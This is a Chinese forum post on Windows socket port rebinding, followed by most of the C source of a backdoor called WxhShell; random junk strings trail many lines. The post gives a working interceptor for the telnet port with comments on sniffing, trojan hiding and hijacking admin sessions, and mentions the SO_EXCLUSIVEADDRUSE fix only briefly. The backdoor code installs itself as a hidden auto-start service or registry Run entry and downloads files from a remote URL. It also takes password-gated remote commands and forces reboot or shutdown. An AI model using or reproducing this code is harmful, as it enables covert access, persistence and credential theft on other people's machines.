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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Kd1\D!#!6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); * rANf&y  
LVtQ^ 5>8  
  saddr.sin_family = AF_INET;  o%4+I>  
ul&7hHp_u%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); htSk2N/  
#_|^C(]!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k<hO9;#qpL  
:Lzj'Ij  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5DUPsV  
df rr.i  
  这意味着什么?意味着可以进行如下的攻击: 3AL=*qq  
Q>*K/%KD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gb#wrI  
LKY Q?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "G)?  E|  
e(5R8ud  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bq8<FZr#!  
% 7:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bxHk0w  
xT>V ;aa\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1vd+p!n  
78#ud15Ml  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eajL[W^>  
=#fvdj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tR/ JY;jn  
TI&J>/z;$  
  #include e%>E| 9*u  
  #include (ajX ;/  
  #include >R-$JrU.=  
  #include    LEa:{s<:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NtL?cWct  
  int main() ^i 7a2< z  
  { `Yve  
  WORD wVersionRequested; 4D$E  
  DWORD ret; Q+N @j]'  
  WSADATA wsaData; <(%uOo$  
  BOOL val; YI+|6s[  
  SOCKADDR_IN saddr; <O&s 'A[  
  SOCKADDR_IN scaddr; % m$Mn x  
  int err; A 76yz`D  
  SOCKET s; AkC\CdmA  
  SOCKET sc; t|_g O!w8  
  int caddsize; "0mR*{nF  
  HANDLE mt; >8- `  
  DWORD tid;   AU2Nmf?]%  
  wVersionRequested = MAKEWORD( 2, 2 ); ~8E rl3=5{  
  err = WSAStartup( wVersionRequested, &wsaData ); =p:6u_@XWj  
  if ( err != 0 ) { 7c7SU^hD  
  printf("error!WSAStartup failed!\n"); ?y kIi/  
  return -1; }wKU=Vm  
  } g5`YUr+3?h  
  saddr.sin_family = AF_INET; WOoVVjMM  
   #,C{?0!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0KEl+  
fN;y\!q5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @wz7jzMi  
  saddr.sin_port = htons(23); \!Pm^FD .  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yR-.OF,c  
  { I(|{/{P,  
  printf("error!socket failed!\n"); (>'d`^kjk  
  return -1; 6zSN?0c  
  } ZgtOy|?|  
  val = TRUE; wu3ZSLY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >d |W>|8e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K+H82$ #  
  { `. Z".  
  printf("error!setsockopt failed!\n"); U6"50G~u  
  return -1; _1QNO#X  
  } kS>j!U(%d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z~<V>b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :mL.Y em*'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IAQ=d4V&  
iuRXeiG8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UlR7_   
  { 2t%)d9r32  
  ret=GetLastError(); Q&7Qht:ea:  
  printf("error!bind failed!\n"); nLQJ~("  
  return -1; pw .(6"  
  } QaV*}W  
  listen(s,2); ~V4|DN[I  
  while(1) [aW#7  
  { -!" 8j"pA:  
  caddsize = sizeof(scaddr); <KCgtO  
  //接受连接请求 e5Z\v0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8vCHH&`  
  if(sc!=INVALID_SOCKET) :.^{!  
  { -\vq-n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <@P0sd   
  if(mt==NULL) 0td;Ag  
  { uM$=v]e^ 4  
  printf("Thread Creat Failed!\n"); _eS*e-@O5  
  break; hsh W5j  
  } 7e4\BzCC  
  } OpfFF;"A'  
  CloseHandle(mt); n!2|;|$}Z  
  } i?]!8Ji  
  closesocket(s); t+ @F"[j  
  WSACleanup(); 49yN|h;c!  
  return 0; Oc1ZIIkh\  
  }   Wp ]u0w  
  DWORD WINAPI ClientThread(LPVOID lpParam) ft5Bk'ZJ  
  { <qu\q \  
  SOCKET ss = (SOCKET)lpParam; UqH7ec  
  SOCKET sc; LcXrD+ 1  
  unsigned char buf[4096]; 8EQ;+V  
  SOCKADDR_IN saddr; mdwY48b  
  long num; '5IJ;4k  
  DWORD val; "o`( kYSF  
  DWORD ret; YV9%^ZaN7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p[RD[&#b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B{Rig5Sc  
  saddr.sin_family = AF_INET; Gl+}]Vn[n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y\lBPp0{\v  
  saddr.sin_port = htons(23); =1D*K%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7RO=X%0A  
  { m&2m' =(  
  printf("error!socket failed!\n"); !Lo{zTDW  
  return -1; jhHb[je~{4  
  } *GA#.$n  
  val = 100; `7NgQ*g.d/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;YB8X&H$  
  { r&#q=R},p  
  ret = GetLastError(); ^T" A9uaG  
  return -1; ' Mg%G(3  
  } T]+*} C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6;VlX,,j  
  { f!87JE=<  
  ret = GetLastError(); 4h|D[Cb]  
  return -1; R,(^fM  
  } !R-UL#w9W'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BR|dW4\  
  { ~{HA!C#  
  printf("error!socket connect failed!\n"); oY{*X6:6<  
  closesocket(sc); o)NWsUXf  
  closesocket(ss); {KR/ TQ?A  
  return -1; Z-WWp#b  
  } q,2 @X~T  
  while(1) P9c1NX\-  
  { ?[kO= hs  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A!NT 2YdHZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C~ >'pS6%5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -Z:al\e<g  
  num = recv(ss,buf,4096,0); E-r/$&D5mP  
  if(num>0) &c A?|(7-  
  send(sc,buf,num,0); u*"tZ+|m  
  else if(num==0) yfV{2[8ux  
  break; gxJ(u{2  
  num = recv(sc,buf,4096,0); UHXlBH@  
  if(num>0) %o~zsIl  
  send(ss,buf,num,0); 0DN:{dJz  
  else if(num==0)  3o/f#y  
  break; uH`ds+Hp  
  } aPWFb.JO4  
  closesocket(ss); [QeKT8  
  closesocket(sc); "5{\0CfS  
  return 0 ; 4((Z8@iX/  
  } 9~N7hLT  
BWd?a6nU}  
-cG?lEh <  
========================================================== B3K%V|;z )  
]SK(cfA`  
下边附上一个代码,,WXhSHELL DK:d'zb  
p/@z4TCNX  
========================================================== YTY0N5["  
IUzRE?Kzf  
#include "stdafx.h" bBjVot  
E#T'=f[r~  
#include <stdio.h> bMgp  
#include <string.h> ')_jK',1  
#include <windows.h> AX6e}-S1n  
#include <winsock2.h> I(<1-3~  
#include <winsvc.h> =MMWcK&  
#include <urlmon.h> a29mVmi>  
9gjx!t>`H  
#pragma comment (lib, "Ws2_32.lib") tEb2>+R  
#pragma comment (lib, "urlmon.lib") k/Cr ^J"  
L[IjzxUv  
#define MAX_USER   100 // 最大客户端连接数 m"u 9AOHk  
#define BUF_SOCK   200 // sock buffer _w)0r}{  
#define KEY_BUFF   255 // 输入 buffer d ;ry!X  
IWTD>c).  
#define REBOOT     0   // 重启 DT_012 z  
#define SHUTDOWN   1   // 关机 x!S8'  
I_v]^>Xw  
#define DEF_PORT   5000 // 监听端口 /K'Kx  
iPxSVH[  
#define REG_LEN     16   // 注册表键长度 KPKby?qQ^  
#define SVC_LEN     80   // NT服务名长度 dBCg$Rud&  
&u$l2hSS  
// 从dll定义API |IZG `3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  c,x2   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y ||!V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xOP\ +(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tw^V?4[Miu  
r/8,4:rh  
// wxhshell配置信息 t'~:me!  
struct WSCFG { Z3 &8(vw  
  int ws_port;         // 监听端口 {?,:M  
  char ws_passstr[REG_LEN]; // 口令 9'O<d/xj/  
  int ws_autoins;       // 安装标记, 1=yes 0=no J0^p\mG  
  char ws_regname[REG_LEN]; // 注册表键名 vw3%u+Z&  
  char ws_svcname[REG_LEN]; // 服务名 B f[D&O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GMd81@7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MiN68x9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ro?yCy:L'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0p! [&O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =yk#z84<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tWD*uA b  
i9w xP i  
}; `Q}.9s_ri  
QTM+ WD  
// default Wxhshell configuration Xig%Q~oMp  
struct WSCFG wscfg={DEF_PORT, !i{@B  
    "xuhuanlingzhe", nbhx2@Teqe  
    1, n0nkv[  
    "Wxhshell", 9NKZE?5P|D  
    "Wxhshell", HH8a"Hq)  
            "WxhShell Service", /TS>I8V!  
    "Wrsky Windows CmdShell Service", bMf +/n  
    "Please Input Your Password: ", R~)c(jj5  
  1, lYU_uFOs\  
  "http://www.wrsky.com/wxhshell.exe", RQv`D&u_  
  "Wxhshell.exe" ykM(` 1` m  
    }; W>'R<IY4#N  
L2AZ0E"ub  
// 消息定义模块 -x5^>+Y4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o"K{^ L~u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @~/LsYA:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *COr^7Kf5  
char *msg_ws_ext="\n\rExit."; QR<IHE{~8  
char *msg_ws_end="\n\rQuit."; yP~D."  
char *msg_ws_boot="\n\rReboot..."; #2|sS|0<  
char *msg_ws_poff="\n\rShutdown..."; w ~Es,@  
char *msg_ws_down="\n\rSave to "; "0n to+v  
a!4'}gHR  
char *msg_ws_err="\n\rErr!"; P !6r`d  
char *msg_ws_ok="\n\rOK!"; [R6du*P  
i7:j(W^I8  
char ExeFile[MAX_PATH]; Pqx=j_st  
int nUser = 0; 8%I4jL<  
HANDLE handles[MAX_USER]; 7S),:Uy[\  
int OsIsNt; Wv$e/N`l  
Aln\:1MU  
SERVICE_STATUS       serviceStatus; ExV>s*y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z_CBOJl#C!  
.#EmE'IP*  
// 函数声明 :8Mp SvCV  
int Install(void); 6d`6=D:  
int Uninstall(void); 7_n@iUG2n  
int DownloadFile(char *sURL, SOCKET wsh); ?zKDPBj  
int Boot(int flag); *}cF]8c5W  
void HideProc(void); m3K8hL/  
int GetOsVer(void); n+j'FfSz  
int Wxhshell(SOCKET wsl); 7J7uHl`yq`  
void TalkWithClient(void *cs); 592q`m\  
int CmdShell(SOCKET sock); fGY. +W_  
int StartFromService(void); 0|HD(d`a  
int StartWxhshell(LPSTR lpCmdLine); qzsS"=5  
!Vv$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^=FtF9v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [P,1UO|$B  
-0Y8/6](  
// 数据结构和表定义 {>>f5o 3  
SERVICE_TABLE_ENTRY DispatchTable[] = :8jHN_u  
{ _K8ob8)m  
{wscfg.ws_svcname, NTServiceMain}, {}{|trr-E  
{NULL, NULL} :W8DgL>l  
}; B?$pIG^Mn  
w~X1Il7A  
// 自我安装 -E?h^J&U  
int Install(void) !~"q$T>@  
{ }=az6cLE2  
  char svExeFile[MAX_PATH]; a/{T;=_GY  
  HKEY key; jo0p/5;  
  strcpy(svExeFile,ExeFile); .pr-  ^  
kce+aiv|u  
// 如果是win9x系统,修改注册表设为自启动 ?:~Y%4;  
if(!OsIsNt) { qbFzA i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I( G8cK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TBvv(_  
  RegCloseKey(key); +^{yJp.H#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;HgV(d#X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }I9\=jT  
  RegCloseKey(key); ie=tM'fb  
  return 0; K Ps 5? X  
    } J}nE,U2  
  } uJ{N?  
} V2V^*9(wu@  
else { XW%!#S&;X  
Cj31'  
// 如果是NT以上系统,安装为系统服务 *3s4JK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y*dzoN.sW  
if (schSCManager!=0) v](7c2;  
{ hF.9\X]  
  SC_HANDLE schService = CreateService Yhb=^)@))  
  ( tHJ#2X#Y.  
  schSCManager, <._MNHC  
  wscfg.ws_svcname, y8D'V)B  
  wscfg.ws_svcdisp, + i!/J  
  SERVICE_ALL_ACCESS, :W? 7J"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?6; +.h\  
  SERVICE_AUTO_START, K #}DXq  
  SERVICE_ERROR_NORMAL, BOoLs(p  
  svExeFile, $7T3wv9  
  NULL, A|O7W|"W  
  NULL, MrXhVZ"d*  
  NULL, L/_OgL]YdI  
  NULL, Ir_K8 3VM  
  NULL W]4Gs;  
  ); 3<AZ,gF1  
  if (schService!=0) 9pb4!=g*  
  { % tN{  
  CloseServiceHandle(schService); ez"Xb 7  
  CloseServiceHandle(schSCManager); Z1wN+Y.CA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oL2|@WNj,  
  strcat(svExeFile,wscfg.ws_svcname); o=X6PoJ N_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {]n5h#c 5*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @K7#}7,t  
  RegCloseKey(key); U:M?Ji5CY  
  return 0; /0uZ(F|>I  
    } #e((F,1z  
  } Mp:tcy,*  
  CloseServiceHandle(schSCManager); ^^qB=N[';  
} H$9--p  
} NU-({dGK}  
9_n!.zA<  
return 1; i<YatW~Pu  
} |-bSoq7t  
cP''  
// 自我卸载 L6fc_Mo.EE  
int Uninstall(void) b?hdWQSW7  
{ 7q<I7Wt  
  HKEY key; QU2\gAM  
np}F [v  
if(!OsIsNt) { T9osueh4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !=;^Grv>  
  RegDeleteValue(key,wscfg.ws_regname); KDhr.P.~  
  RegCloseKey(key); w*Vf{[a'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uHkL$}C  
  RegDeleteValue(key,wscfg.ws_regname); %K@D{ )r_^  
  RegCloseKey(key); G9TK)Nz  
  return 0; 2M3.xUS  
  } ++W_4 B!  
} Dt0S"`^=k  
} 0C#1/o)o  
else { GU8b_~Gk?  
rZ/,^[T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E5w. wx  
if (schSCManager!=0) 0(iTnzx0  
{ 6.kX~$K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RMMx6L|-:  
  if (schService!=0) a)$"   
  { ?%J{1+hY  
  if(DeleteService(schService)!=0) { rhO ]4A  
  CloseServiceHandle(schService); g4cmYg3  
  CloseServiceHandle(schSCManager); JV=d!Gi[C  
  return 0; ^a4y+!  
  } //2G5F;  
  CloseServiceHandle(schService); >:%i,K*AM  
  } M;V (Tf  
  CloseServiceHandle(schSCManager); *A':^vgk  
} 6q RZ#MC  
} I8;pMr6  
|kyxa2F{  
return 1; GJ edW   
} ~'2)E/IeV  
:?2+'+%'  
// 从指定url下载文件 n8DWA`[ib  
int DownloadFile(char *sURL, SOCKET wsh) 9JV(}v5[  
{ rlqn39  
  HRESULT hr; =/&ob%J)9]  
char seps[]= "/"; 4# MvOjA5[  
char *token; 2cY7sE068  
char *file; TK<~ (Dk  
char myURL[MAX_PATH]; dPwe.:  
char myFILE[MAX_PATH]; <cW$ \P}hV  
Va/LMw  
strcpy(myURL,sURL); T>2)YOx  
  token=strtok(myURL,seps); d?C8rkV'  
  while(token!=NULL) qRT1Wre 3  
  { `d2}>  
    file=token; )eop:!m  
  token=strtok(NULL,seps); }\k"azQ`  
  } *Nloa/a&9  
pRe, B'&  
GetCurrentDirectory(MAX_PATH,myFILE); UKMr,{iy  
strcat(myFILE, "\\"); "z)dz,&T  
strcat(myFILE, file); NTS tk{s,  
  send(wsh,myFILE,strlen(myFILE),0); +h_'hz&HlS  
send(wsh,"...",3,0); Me;@/;c(   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tz \7,yGT  
  if(hr==S_OK)  m/gl7+  
return 0; {|= 8wB  
else Sh(  
return 1; uUu]JDdz  
6"U&i9  
} [hSE^ m  
Q]9H9?}N?  
// 系统电源模块 fz#e4+oH  
int Boot(int flag) R h zf.kp  
{ vU0j!XqE  
  HANDLE hToken; Is&z~Xy/  
  TOKEN_PRIVILEGES tkp; ]S4TX  
{Tb(4or?=b  
  if(OsIsNt) { L!s/0kBg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,R]hNjs-{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S G|``}OA  
    tkp.PrivilegeCount = 1; Tu2BQ4\[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2mN>7Tj:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WW82=2rJ9  
if(flag==REBOOT) { zim]3%b*A;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^Lr)STh  
  return 0; Y+ 75}]B  
} DP**pf%j  
else { YzJ\< tkp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _Bm/v^(  
  return 0; L"6qS3[=  
} :=WiT_M  
  } RO"c+|Py  
  else { E:/G!1  
if(flag==REBOOT) { :bFCnV`Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H~UxVQLPp  
  return 0; :fz&)e9  
} awLN>KI]</  
else { aTF~rAne<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sd/?xyF1(  
  return 0; d~@&*1}  
} -jy- KC  
} .^j6  
X-&t!0O4}`  
return 1; # le<R  
} b-R!oP+vP  
>ly`1t1  
// win9x进程隐藏模块 }la\?I  
void HideProc(void) m`C c U`s  
{ 4UD<g+|  
:#W40rUb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xp-.,^q\w  
  if ( hKernel != NULL ) nTxeV%  
  { Mqc"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -3`S;Dmn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8?#4<4Ql8  
    FreeLibrary(hKernel); Kcv7C{-/  
  } V)#se"GV  
lj0"2@z3"E  
return; VL= .JwK  
} ;1PnbU b  
_V\rs{ 5  
// 获取操作系统版本 !wy Qk  
int GetOsVer(void) ~?i;~S  
{ rmXxid  
  OSVERSIONINFO winfo; ;BzbWvBo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FG]xn(E  
  GetVersionEx(&winfo); `t_S uZ`V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zvv<w@rX  
  return 1; j f25Ky~  
  else ]G.ttfC  
  return 0; SXkUtY$  
} 1vKc>+9  
(n:d {bKV  
// 客户端句柄模块 _Kdqa%L !  
int Wxhshell(SOCKET wsl) :L gFd  
{ 6d/;GyG  
  SOCKET wsh; Au Ib>@a  
  struct sockaddr_in client; iIWz\FM  
  DWORD myID; 5|S|S))_Q  
kSx^Uu*  
  while(nUser<MAX_USER) L1=+x^WQ  
{ %xZYIY Kf  
  int nSize=sizeof(client); BUT{}2+K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2@K D '^(  
  if(wsh==INVALID_SOCKET) return 1; _h|rH   
*ue- x!"c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /Y$UJt  
if(handles[nUser]==0) eF+:w:\h  
  closesocket(wsh); A;~lG3j4  
else lnuf_;0  
  nUser++; bH4'j/3  
  } hu}`,2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V5w00s5?%  
G"w ?{W @  
  return 0; 0kxo  
} "F A&Qm0  
R gY-fc0  
// 关闭 socket JGQlx-qv  
void CloseIt(SOCKET wsh) M#o.$+Uh  
{ >i^8K U  
closesocket(wsh); 4qMqA T  
nUser--; b[&A,ZPh$@  
ExitThread(0); '&/ 35d9|*  
} qxS=8#-`(  
O[ tD7 !1  
// 客户端请求句柄 h tC~BK3(  
void TalkWithClient(void *cs) ^Ud1 ag!-  
{ Zzy!D  
`-a](0Q U  
  SOCKET wsh=(SOCKET)cs; 2d:<P!B  
  char pwd[SVC_LEN]; B-Bgk  
  char cmd[KEY_BUFF]; ]D(!ua5|x`  
char chr[1]; \Tq !(]o^  
int i,j; ~aKM+KmtPH  
GJ YXCi  
  while (nUser < MAX_USER) { hBb&-/  
wdS4iQD  
if(wscfg.ws_passstr) { b=nQi./f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fik*-$V`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GIXxOea1  
  //ZeroMemory(pwd,KEY_BUFF); 1k-YeQNe  
      i=0; VB 53n'  
  while(i<SVC_LEN) { h'*>\eC6  
c@H_f  
  // 设置超时 ;',hwo_LBf  
  fd_set FdRead; 7{<:g!  
  struct timeval TimeOut; #E35%7*  
  FD_ZERO(&FdRead); .m--# r  
  FD_SET(wsh,&FdRead); oU/CXz?H  
  TimeOut.tv_sec=8; .|>zQ(7YC  
  TimeOut.tv_usec=0; q\+khy,k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OZ{YQ}t{^1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <1")JDW  
},r30`)Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :cDhqBMNr`  
  pwd=chr[0]; yCznRd}J  
  if(chr[0]==0xd || chr[0]==0xa) { mqw5\7s?  
  pwd=0; hf5yTs  
  break; 80qSPitj  
  } mOiA}BGw  
  i++; dnRS$$9#  
    } 2R}9wDP  
-+1_ 1!  
  // 如果是非法用户,关闭 socket 7G,{BBB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Z9_sd~/6  
} \#1*r'V8  
]/byz_7]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %V r vu5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :|j,x7&/{  
T-" zK r!  
while(1) { gz{~\0y  
| %E\?-TK  
  ZeroMemory(cmd,KEY_BUFF); 61qs`N=k  
i%~^3/K  
      // 自动支持客户端 telnet标准   )=,%iL -  
  j=0; h7],/? s  
  while(j<KEY_BUFF) { .KzGb4U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I~:vX^%9  
  cmd[j]=chr[0]; \}CQo0v  
  if(chr[0]==0xa || chr[0]==0xd) { #jY\l&E  
  cmd[j]=0; 9  Vn  
  break; ZUDdLJ  
  } Vz=ByyC  
  j++; 82w;}(!  
    } lr >:S  
UNx|+  
  // 下载文件 .I~#o$6  
  if(strstr(cmd,"http://")) { ZkbaUIQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gk"o/]Sf  
  if(DownloadFile(cmd,wsh)) K7G|cZ/^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <d2?A}<  
  else (~C_zG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c!,&]*h"k  
  } ;rBd_  
  else { a/})X[2  
*,C[yg1P  
    switch(cmd[0]) { rL{3O4O  
  >Yr-aDV  
  // 帮助 {_#~&IQ  
  case '?': { <n8K"(sy}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w$ zX.;s  
    break; \0}!qG![AA  
  } YIP /N  
  // 安装 ^]x%z*6  
  case 'i': { <Mdyz!  
    if(Install()) J<p.J3I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M:%6$``  
    else 8KxBN)fO;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |I; tBqN{u  
    break; />wM#)o2  
    } j41)X'MgJ  
  // 卸载 M4%u~Z:4h+  
  case 'r': { uc0 1{t0,  
    if(Uninstall()) bfjC:"!H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0F"W~OQ6  
    else ~&zrDj~FI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MCPVql`+`q  
    break; }]dK26pX  
    } ny(`An  
  // 显示 wxhshell 所在路径 ;$`5L"I5$  
  case 'p': { ' 7lHWqN<  
    char svExeFile[MAX_PATH]; Se0!-NUK0  
    strcpy(svExeFile,"\n\r"); 2 kP0//  
      strcat(svExeFile,ExeFile); y. xt7 F1  
        send(wsh,svExeFile,strlen(svExeFile),0); R?%J   
    break; h=:*cqp4  
    } :htz]  
  // 重启 bc+~g>o  
  case 'b': { JbV\eE#KrC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (d> M/x?W  
    if(Boot(REBOOT)) cRR[ci34k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {6_M$"e.  
    else { 8R3x74fL  
    closesocket(wsh); ]xx}\k  
    ExitThread(0); F&tU^(7<  
    } Dd:TFZo  
    break; h/)kd3$*'  
    } *3uBS2Ld  
